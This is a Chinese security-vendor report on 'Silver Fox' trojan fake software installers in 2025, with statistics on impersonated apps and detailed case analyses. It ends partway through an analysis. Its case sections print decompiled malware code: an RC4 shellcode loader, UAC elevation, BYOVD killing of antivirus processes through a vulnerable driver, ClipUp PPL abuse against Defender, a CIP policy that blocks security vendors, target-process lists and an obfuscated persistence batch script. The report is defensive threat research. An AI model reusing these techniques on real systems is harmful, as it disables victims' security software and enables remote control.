仿冒软件投递与免杀升级:“银狐”木马 FakeApp 2025年度观测报告

前言

  作为近年来在国内猖獗的远控木马家族,银狐木马从一开始就将仿冒网站结合FakeApp(伪装成正常软件安装包,运行后除了正常执行对应软件的安装程序外还会激活内嵌的恶意程序)作为其主要传播手段之一。一开始它仿冒的软件只有一些国内无法通过常规途径获取的软件,之后它将仿冒的触手伸向了更多的知名软件,且在安装包上不断地尝试更多的方案以绕过安全软件的静态扫描同时对抗人工分析。

  对于获取FakeApp前必须访问的仿冒网站而言,搜索引擎为其主要传播途径。攻击者利用SEO以及直接在搜索引擎上投放广告等手段,来使仿冒网站排名靠前,诱导用户点击访问

image

image

image

image

  瑞星在2025年对这一传播手段进行了一整年的追踪分析与数据统计,本文首先将对一些统计数据进行展示与分析,随后会对三个使用较为新颖的手法对抗静态扫描和人工分析的案例进行更深入的分析。

数据统计与分析

  基于瑞星安全研究院对威胁情报的持续监测,我们对2025年至2026年1月期间截获并处理的839个银狐木马FakeApp样本进行了深入分析。这些样本对应仿冒了超过80款不同的常用软件,揭示了攻击者在初始投递载体选择上的清晰策略和偏好。核心统计数据如下:

被仿冒的具体软件排行

被仿冒的软件名称 安装包数量 占比
Chrome 164 19.55%
WPS 119 14.18%
搜狗拼音输入法 81 9.95%
ToDesk 49 5.84%

  分析:数据显示,Chrome浏览器是被仿冒最多的单一软件,占比接近五分之一。这很可能源于其庞大的用户基数和高频的更新场景,使得“Chrome更新包”或“Chrome安装包”具有较强的欺骗性。紧随其后的是国民级办公软件WPS和输入法工具,这三者均为用户日常工作娱乐的“高频刚需”软件。值得注意的是,排名前四的软件仿冒样本合计占比已达49.22%,接近总数的一半,表明攻击者的投递目标高度集中,旨在追求最高的潜在感染成功率。

被仿冒的软件类别分布

软件分类 安装包数量 占比
浏览器 189 22.53%
办公软件 123 14.66%
即时通讯 104 12.40%
远程协助 94 11.20%

  分析:从软件类别视角看,浏览器类软件是最大的仿冒目标类别。除了Chrome,其他多款主流浏览器也位列仿冒名单。办公、即时通讯和远程协助软件共同构成了第二梯队。这四类软件合计占比高达60.79%,它们共同的特点是:用户依赖度高、安装普及广、且在使用中常涉及账户登录或敏感操作(如远程控制)。攻击者伪装成这些软件的“新版本”或“修复补丁”,能够有效诱导用户放心执行安装,从而绕过心理防线。

安装包制作工具使用情况

安装包制作工具 安装包数量 占比
Inno Setup 361 43.03%
Windows Installer(MSI) 192 22.88%
NSIS 111 13.23%
Setup Factory 29 3.46%

  分析:在安装包封装工具的选择上,攻击者表现出强烈的倾向性。免费、开源且功能灵活的Inno Setup成为绝对首选,占比超过四成。其脚本化程度高、社区支持活跃的特点,便于攻击者快速定制安装流程、嵌入恶意代码。标准的MSI安装包和另一款开源工具NSIS分列二、三位。相比之下,收费的商业工具如Setup FactoryAdvanced Installer使用率极低。这一分布清晰地表明,攻击者在工具链选择上遵循“成本最低、效率最高、灵活性最强”的原则。

关键对抗技术发现

在我们的分析中,还观察到两个值得高度关注的技术细节:

  • 安装包结构篡改:在全部839个样本中,我们发现了117个样本的安装包结构被刻意修改。这种修改主要集中在Inno SetupNSIS这类开源工具生成的安装包上。攻击者并非简单利用工具打包,而是直接克隆或修改了安装包编译器的部分源代码,对内部数据结构、压缩算法或头部信息进行了定制化改造。这导致这些安装包无法被标准的解包工具(如innoextract)正常解析,其目的在于干扰安全产品的静态解包检测流程,增加分析门槛。
  • 最终载荷的强保护:对于FakeApp安装执行后最终落地在系统中的恶意载荷(如DLL、EXE),攻击者普遍采用了强力的商业保护壳进行加固。VMProtectThemida等知名的高强度软件保护壳被频繁使用。这些保护壳不仅能对抗静态逆向分析,还具备反调试、虚拟机检测等运行时对抗功能,极大地增加了安全研究人员进行动态行为分析和样本提取的难度,为攻击链的后续环节争取了时间。

案例1:恶意黑DLL藏匿于加密压缩包内且进行了多层嵌套

样本分析

字段 内容
原始文件名 64 bit Sògou.exe
文件大小 265 MB (278,625,601 字节)
文件MD5 a76f2bfaa461e0d6bc97d5ef4645a25b
安装包类型 Advanced Installer
病毒名 Trojan.Agent!1.1399C

  该样本的恶意载荷隐藏在Advanced Installer安装包中,随着安装包运行,相关文件会逐层释放和运行,最终会调用一个带有效签名的白EXE,加载一个代码内指定的DLL把恶意代码运行起来。

  瑞星目前已可检出该恶意安装包:

image

  Advanced Installer安装包中,包含四个文件,相关文件及主要功能如下表:

文件名 hash 说明
64 bit Sògou.7z 284782e39224ed30c4a3101992826c7ff 包含安装阶段实际运行的恶意MSI安装包
Redistributable for Visual Studio 2015-2022_Visual C++ Redistributable for Visual Studio 2015-2022.exe 49ea0b4dbd1a6d438ea01d19631ecd88 VC运行时库
FILES.7z eaabce81a72298761ae4f01ac4652085 搜狗软件相关组件
64 bit Sògou.ini 1cd2537120dcbd29e38d49ce002c6071 Advanced Installer生成的安装信息

  64 bit Sògou.7z解开后是一个64 bit Sògou.msi包,该安装包为Advanced Installer实际运行的MSI安装包,该MSI包的LaunchCondition表指明了该安装包的运行前置条件:

  • 需要运行在Windows 7及以上系统
  • 需要以管理员权限运行(由Advanced Installer提供检测模块)
  • 系统内存需要大于4GB(由Advanced Installer提供检测模块)
  • 系统需要接入互联网(由Advanced Installer提供检测模块)
  • 不能在虚拟机中运行(由Advanced Installer提供检测模块)
  • 只能从引导程序运行(不能单独执行该MSI安装包,必须由上层Advanced Installer打包的EXE程序代理执行)

image

  从MSI包的CustomAction表中我们发现该MSI包安装过程中实际上内部调用了另一个MSI安装包(相关功能疑似由Advanced Installer提供支持)

image

  结合该内嵌安装包实际解出的MSI安装脚本可知,安装过程中调用的DLL为VisualElementsManifest.dll,调用的导出函数名为ElementsManifest

image

  最终安装包要运行的可执行文件路径为Bin\TomatoWallPaper.exe

image

  内嵌安装包里包含名为disk1.cab的待安装组件,包内主要文件及功能如下表:

文件名 hash 说明
ui_zh.ail f55be71110dab82e5285d8d84dd24d51 带密码的ZIP压缩包,内含使用VMProtect保护的恶意DLL
TomatoWallPaper.exe fe61066ebabefee158b7e09f84535ada 带有效签名的白Loader,将在安装后被执行
purple.she efa83a571ff02b8f583c569e6ef37c8d 加密数据
AppCore.exe 6105c557f4d4686763b9320a0a7c4034 未实际运行
Desktop.exe 91f27b95440f9b9808672d2428890155 未实际运行
vcruntime140.dll d0520569180accd7e17ed9697711d6ec 运行时库
VisualElementsManifest.dll 4b42d170eddff6e119da7f19e7a87779 安装过程中被调用的DLL,用于解压带密码的ZIP压缩包

  VisualElementsManifest.dll模块导出函数ElementsManifest的部分代码:

image

  该函数主要是使用密码3xcsCr3KqBxyCoRRPf4n解压带密码的ZIP压缩包ui_zh.ail,解压后得到文件BIN\stardict-editor.dll

  TomatoWallPaper.exe调用黑DLL的代码:

image

  对于stardict-editor.dll,实际的恶意代码位于DLLMain函数内,从LoadLibraryW加载模块时就开始工作了。

案例2:恶意代码藏匿于Python运行库内

攻击流程

image

样本分析

字段 内容
原始文件名 D..e.e.p.L_X64.1.3.exe
文件大小 75581 KB
文件MD5 1e8958c95d30456b12539ba4ae90f3a2
安装包类型 NSIS
病毒名 Trojan.ShellCodeRunner/PYC!1.139E2
主要功能 释放恶意pyc文件并加载

  该样本利用了*._pth文件作为Python路径配置文件的特性——该配置文件会指示解释器优先加载同级目录下的python*.zip文件作为模块搜索路径。解释器在处理时,会直接读取ZIP包内的.pyc文件(即预编译的字节码文件),最终导致恶意.pyc文件被加载到内存中执行。由于压缩包内包含的.pyc文件众多,显著增加了分析人员定位实质恶意文件的难度。目前瑞星已可精确检测安装包内包含的恶意文件

image

  后续释放的恶意组件通过多种方式阻碍安全软件正常运行,例如:利用漏洞驱动结束安全软件进程(BYOVD)、通过ClipUp.exe覆盖MsMpEng.exePPL滥用)、设置CIP策略禁止安全厂商软件运行,以及HOOK系统函数隐藏恶意进程以“致盲”安全软件。

crypto.pyc分析

字段 内容
原始文件名 crypto.pyc
文件大小 3673 KB
文件MD5 683736026f84efc7b721d119bd9c66f4
文件类型 PYC
病毒名 Trojan.ShellCodeRunner/PYC!1.139E2
主要功能 解密shellcode并在内存中执行

  经过反编译之后的python脚本通过RC4解密shellcode并在内存中执行

import ctypes

SECRET_KEY = 'dkwk239c0v023kx'

class RC4_Fixed:

    def __init__(self, key):
        if isinstance(key, str):
            key = key.encode('utf-8')
        self.key = key
        self.S = self._ksa(key)

    def _ksa(self, key):
        S = list(range(256))
        j = 0
        for i in range(256):
            j = (j + S[i] + key[i % len(key)]) % 256
            S[i], S[j] = S[j], S[i]
        return S

    def _prga(self, data):
        S = self.S.copy()
        i = j = 0
        result = []
        for byte in data:
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]
            K = S[(S[i] + S[j]) % 256]
            result.append(byte ^ K)
        return bytes(result)

    def decrypt(self, data):
        return self._prga(data)

buffer = b''.join([
...
rc4 = RC4(SECRET_KEY)
debuffer = rc4.decrypt(buffer)  # 获取解密后的shellcode
# 隐藏控制台窗口(隐蔽执行)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
# 申请可执行内存区域
kernel32 = ctypes.WinDLL('kernel32.dll')
kernel32.VirtualAlloc.restype = ctypes.c_void_p
# 12288=MEM_COMMIT|MEM_RESERVE, 64=PAGE_EXECUTE_READWRITE
applyMemoney = kernel32.VirtualAlloc(0, len(debuffer), 12288, 64)
kernel32.RtlMoveMemory.argtypes = [
    ctypes.c_void_p,
    ctypes.c_void_p,
    ctypes.c_size_t]
    # 复制解密数据到内存
kernel32.RtlMoveMemory(applyMemoney, debuffer, len(debuffer))
# 将内存转换为可执行函数指针
func = ctypes.cast(applyMemoney, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 创建线程执行shellcode
handle = kernel32.CreateThread(0, 0, func, 0, 0, 0)
kernel32.WaitForSingleObject(handle, -1)

  解密字符串

unsigned char decrypted_buffer[15] = {
    87,   
    117,  
    -124, 
    96,   
    -126, 
    127,  
    115,  
    81,   
    116,  
    116,  
    -126, 
    117,  
    -125, 
    -125, 
    0     
};

for (int byte_index = 0; byte_index < 14; ++byte_index) {
    // 解密操作:每个字节减去16(0x10)
    decrypted_buffer[byte_index] -= 16; 
}

  在内存中搜索嵌入的PE文件的起始位置并执行

const size_t SEARCH_RANGE = 10240000;  // 最大搜索范围(约10MB)
unsigned char* current_ptr = (unsigned char*)base_address;

for (size_t offset = 0; offset < SEARCH_RANGE; offset++) {
    // 检查连续的6个字节是否符合特定模式:
    if (current_ptr[offset]     == 0x4D &&   // 'M'
        current_ptr[offset + 1] == 0x5A &&   // 'Z'
        current_ptr[offset + 2] == 0x90 &&   
        current_ptr[offset + 3] == 0x00 &&   
        current_ptr[offset + 4] == 0x03 &&   
        current_ptr[offset + 5] == 0x00) 
    {
        return &current_ptr[offset];  // 返回匹配起始地址
    }
}

内存加载的PE文件分析

字段 内容
文件大小 2790 KB
文件MD5 6b13f28629edfd10398542355d4b1344
文件类型 EXE
病毒名 Trojan.Agent!1.13AAE
主要功能 释放恶意组件,通过各种途径阻碍安全软件正常运行

  检查管理员权限,若没有管理员权限,使用runas请求提升权限

HANDLE token = NULL;
HANDLE current_proc = GetCurrentProcess();
BOOL is_elevated = FALSE;
BOOL token_check_succeed = FALSE;

// 检查管理员权限
if (OpenProcessToken(current_proc, TOKEN_QUERY, &token)) 
{
    DWORD ret_len = sizeof(BOOL);
    if (GetTokenInformation(token, TokenElevation, &is_elevated, sizeof(BOOL), &ret_len)) 
    {
        token_check_succeed = TRUE;  // 权限检查成功
    }
    CloseHandle(token);
}

// 权限检查成功且是管理员
if (token_check_succeed && is_elevated) 
{
    ExecutePayload();  // 执行后续流程
}
else // 非管理员或权限检查失败
{
    WCHAR exe_path[MAX_PATH] = {0};

    // 获取当前可执行文件路径 
    if (GetModuleFileNameW(NULL, exe_path, MAX_PATH - 1)) 
    {
        // 请求UAC提权
        HINSTANCE exec_result = ShellExecuteW(
            NULL, 
            L"runas", 
            exe_path, 
            NULL, 
            NULL, 
            SW_SHOW 
        );

        if ((INT_PTR)exec_result > 32)  // 提权成功
        {
            Sleep(500);
            ExitProcess(0);  // 结束当前进程 
        }
        else  // 提权失败
        {
            LogError(L"提权失败", (DWORD)exec_result);
            ExecutePayload();  // 降级执行 
        }
    }
    else  // 获取路径失败
    {
        DWORD err = GetLastError();
        LogError(L"路径获取失败", err);
        ExecutePayload();  // 降级执行 
    }
}

  检查diamondage.dll是否已存在,如果存在则退出(防止重复感染)

file_attrib = GetFileAttribs("C:\\ProgramData\\DiamondAge\\diamondage.dll");

// 如果存在则退出
if (file_attrib != INVALID && (file_attrib & DIRECTORY_FLAG) == 0)
    TerminateProcess(0);

  查找360tray.exe进程,若存在则执行下一步注入操作

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建进程快照
if (snapshot != INVALID_HANDLE_VALUE) {
    PROCESSENTRY32W process_entry;
    ZeroMemory(&process_entry, sizeof(process_entry));
    process_entry.dwSize = sizeof(process_entry);

    if (Process32FirstW(snapshot, &process_entry)) {
        DWORD target_pid = 0;
        do {
            if (_wcsicmp(process_entry.szExeFile, L"360tray.exe") == 0) {
                target_pid = process_entry.th32ProcessID;
                break; // 找到目标进程立即退出循环
            }
        } while (Process32NextW(snapshot, &process_entry));

        CloseHandle(snapshot);
        BOOL is_running = (target_pid != 0); // 核心目标进程判断 
    }
}

  通过COM接口设置防火墙阻止联网

HRESULT h_result;
INetFwPolicy2* fw_policy = NULL;          // 防火墙策略接口
unsigned long long profile_domain = 1;   // 域配置文件
unsigned long long profile_private = 2;  // 专用配置文件
unsigned long long profile_public = 4;   // 公用配置文件
long long block_flag;                    // 是否启用阻止模式 (原 a2)
long long log_config;                    // 日志配置参数 (原 a1)
long long variant_bool;                  // 用于存储 VARIANT 类型的布尔值

// 初始化 COM 库
CoInitializeEx(NULL, COINIT_MULTITHREADED);

// 创建防火墙策略对象实例
CoCreateInstance(&CLSID_NetFwPolicy2, NULL, CLSCTX_INPROC_SERVER, &IID_INetFwPolicy2, &fw_policy);

if (fw_policy) {
    // 计算 VARIANT 布尔值,这里根据 block_flag 转换为 TRUE/FALSE
    variant_bool = (block_flag ^ 1) - 1;

    // 调用 put_BlockAllInboundTraffic (偏移 72)
    // 将域、专用、公用三个配置文件的入站连接全部设置为“阻止”
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 9))(fw_policy, profile_domain, 0xFFFFFFFF);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 9))(fw_policy, profile_private, 0xFFFFFFFF);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 9))(fw_policy, profile_public, 0xFFFFFFFF);

    // 调用 put_NotificationsDisabled (偏移 104)
    // 禁用程序被阻止时的通知弹窗
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 13))(fw_policy, profile_private, variant_bool);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 13))(fw_policy, profile_public, variant_bool);

    // 调用 put_DefaultOutboundAction (偏移 120)
    // 将默认出站动作设置为“阻止”
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 15))(fw_policy, profile_private, 0xFFFFFFFF);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 15))(fw_policy, profile_public, 0xFFFFFFFF);

    // 调用 put_LogDroppedPackets (偏移 192)
    // 关闭被丢弃数据包的日志记录
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 24))(fw_policy, profile_domain, 0);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 24))(fw_policy, profile_private, 0);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 24))(fw_policy, profile_public, 0);

    // 调用 put_LogSuccessfulConnections (偏移 208)
    // 关闭成功连接的日志记录
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 26))(fw_policy, profile_domain, log_config);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 26))(fw_policy, profile_private, log_config);
    (*(void(__fastcall **)(INetFwPolicy2*, unsigned long long, long long))(*(unsigned long long *)fw_policy + 26))(fw_policy, profile_public, log_config);

    // 释放策略接口对象
    (*(long long(__fastcall **)(INetFwPolicy2*))(*(unsigned long long *)fw_policy + 2))(fw_policy);
}

  将shellcode注入VSSVC.exeshellcode通过漏洞驱动(来自Zemana Anti-Malware)结束360相关进程(BYOVD


unsigned long pid_safe = GetProcessIdByName("360Safe.exe");
if (pid_safe != 0) {
    // 利用驱动强制结束进程
    KillProcessUsingZemanaDriver(pid_safe);
}

unsigned long pid_tray = GetProcessIdByName("360Tray.exe");
if (pid_tray != 0) {
    KillProcessUsingZemanaDriver(pid_tray);
}

unsigned long pid_defense = GetProcessIdByName("ZhuDongFangYu.exe");
if (pid_defense != 0) {
    KillProcessUsingZemanaDriver(pid_defense);
}

  每500毫秒检查一次系统中是否存在360tray.exe进程,若进程不存在则进行后续恶意操作

while (1) {
  snapshot_handle = CreateToolhelp32Snapshot(0xF, 0); // 创建进程快照
  if (snapshot_handle == (HANDLE)-1) {
    break;
  }

  if (!Process32FirstW(snapshot_handle, &process_entry)) {
    CloseHandle(snapshot_handle);
    break;
  }

  process_id = 0;
  while (wstring_compare(process_entry.szExeFile, L"360tray.exe") != 0) {
    if (!Process32NextW(snapshot_handle, &process_entry)) {
      break;
    }
  }

  process_id = process_entry.th32ProcessID;  // 记录找到的进程ID

  CloseHandle(snapshot_handle);

  if (process_id == 0) {
    break;  // 未找到目标进程,退出循环
  }

  Sleep(0x1F4);  // 休眠500毫秒
}

  再次通过COM接口恢复防火墙设置恢复联网后,在系统临时目录下释放漏洞驱动vally3dka.sys,并通过漏洞驱动(来自Zemana Anti-Malware)结束安全软件进程(BYOVD

// 获取系统临时目录路径
char *temp_path_str = get_temp_path_string();

size_t path_len = string_length(temp_path_str);
if (temp_path_str[path_len - 1] != '\\') {
    append_char(temp_path_str, '\\');
}

// 构造完整的驱动文件路径
char *target_file_path = create_empty_string();
copy_string(target_file_path, temp_path_str);
append_string(target_file_path, "vally3dka.sys");

// 准备要写入的数据指针和大小
void *driver_payload = (void *)0x140160B70;
size_t payload_size = 0x38420;
unsigned long bytes_written = 0;
int is_success = 0;

HANDLE file_handle = CreateFileA(target_file_path, 0x40000000, 0, NULL, 2, 0x80, NULL);

if (file_handle != (HANDLE)-1) {
    // 将驱动数据写入文件
    if (WriteFile(file_handle, driver_payload, payload_size, &bytes_written, NULL)) {
        // 检查写入的字节数是否完整
        if (bytes_written == payload_size) {
            is_success = 1;
        }
    }
    // 关闭文件句柄
    CloseHandle(file_handle);
}

// 释放分配的字符串内存
free_string(target_file_path);
free_string(temp_path_str);

  结束进程如下:

HipsMain.exe
HipsDaemon.exe
HipsTray.exe
MsMpEng.exe
QMToolWidget.exe
QQPCRTP.exe
QQPCTray.exe
360rp.exe
360rps.exe
360sd.exe
kxecenter.exe
kxetray.exe
kxemain.exe
360tary.exe
360Tary.exe

  注入svchost.exe,主要功能依旧是通过漏洞驱动结束安全软件进程(BYOVD


process_id = 0;
snapshot_handle = CreateToolhelp32Snapshot(2, 0);  // 创建进程快照
if (snapshot_handle == INVALID_HANDLE)
{
...
}
else
{
    // 初始化进程结构体
    process_entry.szExeFile = "svchost.exe";
    if (Process32FirstW(snapshot_handle, process_entry))
    {
        // 遍历进程
        while (true)
        {
            if (process_entry.szExeFile == "svchost.exe")
            {
                process_id = process_entry.th32ProcessID;
                break;
            }
            if (!Process32NextW(snapshot_handle, process_entry))
                break;
        }
    }
    CloseHandle(snapshot_handle);

    // 找到目标进程后执行注入
    if (process_id)
        inject_into_process(process_id, function_pointer);
}

  结束进程如下:

MsMpEng.exe
HipsMain.exe
HipsDaemon.exe
HipsTray.exe
360rp.exe
360rps.exe
360sd.exe
zhudongfangyu.exe
360tray.exe
360Safe.exe
SentryEye.exe
endpointprotection.exe
egui.exe
ekrn.exe
efwd.exe
eguiProxy.exe
eServiceHost.exe
PtSvcHost.exe
PtSessionAgent.exe
PtWatchDog.exe
coreFrameworkHost.exe
coreServiceShell.exe
nsWscSvc.exe
NortonSecurity.exe
kwsprotect64.exe
kxecenter.exe
kxemain.exe
kxescore.exe
kxetray.exe
kxewsc.exe
QMToolWidget.exe
QQPCRTP.exe
QQPCTray.exe

  解析并释放内嵌于文件中的、经过zlib压缩的自定义格式数据,释放文件内嵌恶意软件如下:

文件名 内嵌文件名
agg.txt Enpug.bin、goldendays.dll
hjk.txt 1.bat、fhq.bat
kill.txt 1.dll

  释放的两个bat功能如下:

文件名 功能
1.bat 通过注册表禁用UAC
fhq.bat 设置防火墙规则来禁止360tray.exe和360Safe.exe的网络访问权限

  创建并启动服务,通过regsvr32执行goldendays.dll

HANDLE scm_handle;
HANDLE service_handle;
DWORD error_code;

service_handle = CreateService(
    scm_handle,
    "MicrosoftSoftware2ShadowCop4yProvider",
    "MicrosoftSoftware2ShadowCop4yProvider",
    0x10016,
    0x10,
    2,
    1,
    "regsvr32.exe /S \"C:\\ProgramData\\Roning\\goldendays.dll",
    NULL,
    NULL,
    NULL,
    NULL,
    NULL
);

if (service_handle) {
    // 服务创建成功,尝试启动服务
    if (!StartService(service_handle, 0, NULL)) {
        error_code = GetLastError();
        if (error_code == 1056) {
            error_code = 0;
        }
    }
    CloseServiceHandle(service_handle);
} else {
    error_code = GetLastError();
    if (error_code == 1073 || error_code == 52) {
        // 服务已存在,尝试打开现有服务
        service_handle = OpenService(scm_handle, "MicrosoftSoftware2ShadowCop4yProvider", 0x14);
        if (service_handle) {
            // 打开成功,尝试启动服务
            if (!StartService(service_handle, 0, NULL)) {
                error_code = GetLastError();
                if (error_code == 1056) {
                    error_code = 0;
                }
            }
            CloseServiceHandle(service_handle);
        } else {
            // 打开服务失败
            error_code = GetLastError();
            CloseServiceHandle(scm_handle);
        }
    }
}

  释放文件diamondage.exediamondage.dll

char target_path[40];

// 拷贝DLL路径到缓冲区
copy_path_string(target_path, "C:\\ProgramData\\DiamondAge\\diamondage.dll", 40);

// 读取文件内容到指定的内存缓冲区
read_file_to_buffer(target_path, dll_memory_buffer, 259072);

// 清空路径缓冲区
memset(target_path, 0, 32);

// 拷贝EXE路径到缓冲区
copy_path_string(target_path, "C:\\ProgramData\\DiamondAge\\diamondage.exe", 40);

// 读取文件内容到指定的内存缓冲区
read_file_to_buffer(target_path, exe_memory_buffer, exe_file_size);

  释放并创建vmservice.sys相关服务

// 定义服务名称和驱动文件名
char* service_name = "vmservice";
char* driver_filename = "vmservice.sys";

// 获取系统临时目录路径并拼接完整的驱动文件路径
char* temp_path = get_temp_path();
char* driver_path = append_string(temp_path, driver_filename);

// 查询服务当前状态
int service_status = get_service_status(service_name);

// 如果服务处于停止状态,尝试直接启动
if (service_status == 1) {
    start_service(service_name);

    int retry_count = 0;
    while (retry_count < 10) {
        Sleep(100);
        if (get_service_status(service_name) == 2) {
            break;
        }
        retry_count++;
    }
    goto exit;
}

// 如果服务处于运行状态,直接视为成功
if (service_status == 2) {
    goto exit;
}

// 释放驱动文件
if (drop_resource_to_file(driver_path, Data, Size)) {
    // 打开服务控制管理器
    SC_HANDLE sc_manager_handle = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE);

    if (sc_manager_handle) {
        // 尝试创建服务
        SC_HANDLE service_handle = CreateServiceA(sc_manager_handle, service_name, service_name, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, driver_path, NULL, NULL, NULL, NULL, NULL);

        if (!service_handle) {
            // 如果服务已存在,则打开现有服务
            if (GetLastError() == ERROR_SERVICE_EXISTS) {
                service_handle = OpenServiceA(sc_manager_handle, service_name, SERVICE_ALL_ACCESS);
            } else {
                CloseServiceHandle(sc_manager_handle);
                goto exit;
            }
        }

        if (service_handle) {
            // 启动服务
            if (StartServiceA(service_handle, 0, NULL)) {
                int retry_count = 0;
                while (retry_count < 10) {
                    Sleep(100);
                    if (get_service_status(service_name) == 2) {
                        break;
                    }
                    retry_count++;
                }
            } else {
                // 如果服务已经在运行,也视为成功
                if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
                    // 标记为成功
                }
            }
            CloseServiceHandle(service_handle);
        }
        CloseServiceHandle(sc_manager_handle);
    }
}

exit:
// 释放字符串内存
free_string(temp_path);
free_string(driver_path);
free_string(service_name);

return result;

  安装并启动名为MiniFilterDrvWindows内核驱动

// 定义用于存储服务名称、路径和描述的变量
char* ServiceName = "MiniFilterDrv";
char* DriverPath;
char* Description = "43402";
int ServiceStatus;
int IsSuccess = 0;
int RetryCount = 0;

// 获取临时目录路径并拼接生成驱动文件的完整路径
char* TempPath = GetTempPath();
DriverPath = BuildPath(TempPath);

// 检查服务状态
ServiceStatus = QueryServiceStatus(ServiceName);
if (ServiceStatus != 0)
{
    if (ServiceStatus == 1) // 服务处于停止状态
    {
        // 尝试启动服务
        StartService(ServiceName);

        // 循环等待服务启动
        while (1)
        {
            Sleep(100); // 等待一段时间
            if (QueryServiceStatus(ServiceName) == 2) // 服务已运行
            {
                IsSuccess = 1;
                goto CLEANUP;
            }

            if (++RetryCount >= 10) // 超时重试次数限制
            {
                RetryCount = 0;
                goto CREATE_NEW;
            }
        }
    }
    else if (ServiceStatus == 2) // 服务已经在运行
    {
        IsSuccess = 1;
        goto CLEANUP;
    }
}

CREATE_NEW:
// 将驱动释放到磁盘上的指定路径
if (DropFile(DriverPath, Data, Size))
{
    // 创建驱动服务
    if (CreateService(ServiceName, DriverPath, Description))
    {
        // 启动新创建的服务
        StartService(ServiceName);

        // 循环确认服务是否成功启动
        RetryCount = 0;
        while (1)
        {
            Sleep(100);
            if (QueryServiceStatus(ServiceName) == 2)
            {
                IsSuccess = 1;
                break;
            }

            if (++RetryCount >= 10)
            {
                IsSuccess = 0;
                break;
            }
        }
    }
}

CLEANUP:
// 释放分配的字符串内存
FreeMemory(Description);
FreeMemory(DriverPath);
FreeMemory(ServiceName);

return IsSuccess;

  通过cmd.exe创建一个目录符号链接

wchar_t* command_args;
command_args = L"mklink /D \"C:\\ProgramData\\roming\" \"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\"";

ShellExecuteW(NULL, L"open", L"cmd.exe", command_args, NULL, 0);

  通过ClipUp.exeppl命令覆盖MsMpEng.exe使Defender失效(PPL滥用

CreateProcessW(
            "C:\\Windows\\System32\\ClipUp.exe",    
            "C:\\Windows\\System32\\ClipUp.exe\"  -ppl C:\\ProgramData\\roming\\MsMpEng.exe",      
            nullptr,                   
            nullptr,                   
            FALSE,                     
            EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS,
            nullptr,                   
            nullptr,                   
            &siex.StartupInfo,         
            &pi))                      

  设置CIP策略

HANDLE process_handle;
HANDLE token_handle;
LUID privilege_luid;
TOKEN_PRIVILEGES new_state;
HANDLE file_handle;
DWORD bytes_written;
void *source_data;

token_handle = NULL;

// 获取当前进程句柄并打开进程令牌
process_handle = GetCurrentProcess();
if (OpenProcessToken(process_handle, 0x28, &token_handle))
{
    // 查找调试权限对应的LUID值
    if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &privilege_luid))
    {
        new_state.PrivilegeCount = 1;
        new_state.Privileges[0].Luid = privilege_luid;
        new_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        // 调整令牌权限以启用SeDebugPrivilege
        AdjustTokenPrivileges(token_handle, FALSE, &new_state, 0x10, NULL, NULL);
    }
    CloseHandle(token_handle);
}

// 创建或打开系统目录下的策略文件
file_handle = CreateFileW(
    L"C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip",
    0x40000000,
    0,
    NULL,
    2,
    0x80,
    NULL
);

if (file_handle != INVALID_HANDLE_VALUE)
{
    // 将指定数据写入文件
    WriteFile(file_handle, source_data, 0xBEC, &bytes_written, NULL);
    CloseHandle(file_handle);
}

  通过文件名、文件详情、公司名、文件路径禁止软件运行(涉及安全厂商:360、腾讯、金山):

image

  通过文件签名禁止软件运行(涉及安全厂商:ESET、趋势科技、诺顿、卡巴斯基、小红伞、火绒):

image

goldendays.dll分析

字段 内容
原始文件名 goldendays.dll
文件大小 258 KB
文件MD5 d920c1a909744e206405ec13539ee01c
文件类型 DLL
病毒名 Trojan.Loader!1.13350
主要功能 读取shellcode并在内存执行,最终回连C2上传数据

  释放并启动路径为C:\windows\[A-Za-z]{10}.bat的脚本,监控后续被注入进程是否结束,若结束则重新开启服务

@echo    off
:HHDOMkfzdc
t^a^s^k^l^i^s^t     /fi    "PID  eq   被注入进程ID"     |     f^i^n^d^s^t^r   /i    "被注入进程ID"  >    n^u^l
if  e^r^r^o^r^l^e^v^e^l   1   (
            sc   start    "MicrosoftSoftware2ShadowCop4yProvider"
                e^x^i^t
)
t^i^m^e^o^u^t   /t     10
g^o^t^o  HHDOMkfzdc

  读取trustinstaller.bin内容作为shellcode注入服务名为TrustedInstallerMicrosoftEdgeElevationService的对应进程内

// 打开文件
